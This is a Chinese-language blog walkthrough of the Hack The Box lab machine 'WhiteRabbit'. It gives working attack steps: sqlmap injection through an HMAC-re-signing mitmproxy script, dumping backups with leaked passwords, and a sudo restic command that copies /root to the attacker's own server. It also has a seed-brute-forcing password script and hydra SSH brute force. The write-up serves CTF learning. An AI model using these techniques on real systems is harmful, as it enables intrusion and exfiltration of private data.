boxmoe_header_banner_img

Hello! 欢迎来到我的小站!

加载中

文章导读

HTB-WhiteRabbit


avatar
Ysper_1 2025年 4月 7日 70

HTB-WhiteRabbit

端口探测

nmap -sC -sV 10.10.11.63

image-20250407193423779

开放端口22.80,2222

信息收集

80服务探测

image-20250407193453281

在这里并没有得到什么有用的信息,尝试对子域名扫描

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://whiterabbit.htb -H "Host:FUZZ.whiterabbit.htb" -fs 0 -mc 302,200

image-20250407194413840

得到status.whiterabbit.htb

访问

image-20250407194514342

看到是个登录框,尝试过密码爆破和sql注入都不行,于是对他进行目录扫描

image-20250407194558970

image-20250407194607590

得到一个/status/temp目录

image-20250407194703805

在这里发现了两个子域名写进hosts里面去访问

http://a668910b5514e.whiterabbit.htb/en/gophish_webhooks

image-20250407194817216

在这个下面发现是一个钓鱼得分的分析

根据他的分析发现

POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81

{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}

这里的email存在sql注入

开始尝试直接把这个放进txt里面让sqlmap跑,发现跑不出来,在后面把整个网页文档给chatgpt后,说是需要认证

后面在json文件发现了加密的key

image-20250407195222431

然后ai给我一套方案,利用

mitmproxy+sqlmap的proxy

利用mitmproxy监听8080端口并且运行认证脚本

# hmac_injector.py
from mitmproxy import http
import hmac
import hashlib
import json

secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

def request(flow: http.HTTPFlow) -> None:
    if flow.request.method == "POST" and "application/json" in flow.request.headers.get("Content-Type", ""):
        try:
            # 获取原始请求体
            body = flow.request.get_text()
            parsed_json = json.loads(body)

            # 重新构造签名(保持字段顺序)
            json_body = json.dumps(parsed_json, separators=(',', ':'))
            signature = hmac.new(secret, json_body.encode(), hashlib.sha256).hexdigest()

            # 更新签名头
            flow.request.headers["x-gophish-signature"] = f"sha256={signature}"
        except Exception as e:
            print(f"Error calculating signature: {e}")

脚本内容

然后执行

mitmproxy -s hmac_injector.py  --listen-port 8080

sqlmap直接就可以跑

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
--method POST \
--data '{"campaign_id":1,"email":"test@ex.com","message":"Clicked Link"}' \
--headers="Content-Type: application/json" \
--batch \
--tamper=escapequotes \
--dump -D temp -T command_log -C command \
--proxy=http://127.0.0.1:8080 \
--no-cast

最后跑的内容

img

这里是他使用的命令历史,发现一个restic(这是用来备份文件的

这里可以看到他在http://75951e6ff.whiterabbit.htb 备份的有文件

这里需要我们本机来连接并且把里面的文件dump下来,需要密码,密码就是上面的

ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
restic -r rest:http://75951e6ff.whiterabbit.htb ls 272cacd5
restic -r rest:http://75951e6ff.whiterabbit.htb dump 272cacd5 /dev/shm/bob/ssh/bob.7z > bob.7z

image-20250407201246239

把里面的7z文件dump下来,解压发现需要密码,利用john破解

image-20250407042846170

得到密码1q2w3e4r5t6y

image-20250407201421033

解压出来后发现是bob的ssh公钥和私钥,并且是在2222端口登陆的ssh

初始shell

image-20250407201548707

登陆之后发现这里并没有flag

提升权限-1

查看sudo以及suid

image-20250407202200619

image-20250407202228289

发现restic具有sudo权限

gtfobins

image-20250407202327383

这里发现可以把本地的文件传输到我们的远程服务器

不过我们本机需要开启rest-server服务。

rest-server --path /tmp/restic-repo

然后在被控端执行

restic init -r rest:http://10.10.14.96:8000/myleak

sudo restic backup -r "rest:http://10.10.14.96:8000/myleak" /root

这样我们本机就会得到一个myleak的文件夹里面有包含root下的所有文件

image-20250407202800752

然后执行

restic restore <snapshot-id> --target <restore-dir>

来恢复这些文件

最后在root下面发现了另一个用户的ssh公钥和私钥

image-20250407202905715

ssh登陆

image-20250407202934561

在这里发现了user的flag

image-20250407202954106

提升权限-2

但是这个用户的权限还是很低,尝试提权,在opt目录下面发现了

image-20250407203055785

这个最开始在数据库中爆出来的二进制文件

再根据他home里面的用户猜测这个文件应该是生成neo用户的密码

把neo-password-generator这个文件down下来分析

根据pwn手的分析发现他是

会基于当前时间生成一个 20位的随机密码字符串,这些字符是
就直接从abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789随机出来的


没有进行任何加密


但是这个是毫秒级别的随机

这时候联想到前面sql爆破出的命令历史,发现他那里刚好就有这个命令执行的时间,然后根据这个我让pwn手写了脚本

import ctypes
import sys

# 根据平台加载适当的C库。
if sys.platform.startswith('linux'):
    libc = ctypes.CDLL("libc.so.6")  # Linux平台
elif sys.platform == "darwin":
    libc = ctypes.CDLL("libc.dylib")  # macOS平台
elif sys.platform.startswith('win'):
    libc = ctypes.CDLL("msvcrt.dll")  # Windows平台
else:
    raise Exception("不支持的操作系统平台")

def generate_password(seed):
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"  # 密码字符集
    # 使用C库的srand()设置种子
    libc.srand(seed)
    password = []
    for _ in range(20):
        # 调用C库的rand()生成随机数
        r = libc.rand()
        index = r % len(charset)  # 保证生成的索引在字符集长度范围内(62个字符)
        password.append(charset[index])  # 添加字符到密码列表
    print("".join(password))  # 打印生成的密码

def main():
    # 2024-08-30 14:40:42 UTC的Unix时间戳
    base_time_sec = 1725028842
    # 遍历该秒内的1000毫秒
    for ms in range(1000):
        seed = base_time_sec * 1000 + ms  # 生成种子,包含毫秒部分
        generate_password(seed)  # 生成并打印密码

if __name__ == '__main__':
    main()  # 运行主函数

这里运行后会有1000个密码,利用hydra爆破ssh

hydra -l neo -P 1.txt ssh://10.10.11.63 -t 4 -vV

image-20250407203551519

这里的1.txt就是脚本运行出来的1000个密码

然后直接利用ssh登陆

image-20250407203702779

发现这个用户具有全部的sudo权限

直接执行sudo su就到root了

image-20250407203757481

htb


评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码

最新评论

    最新文章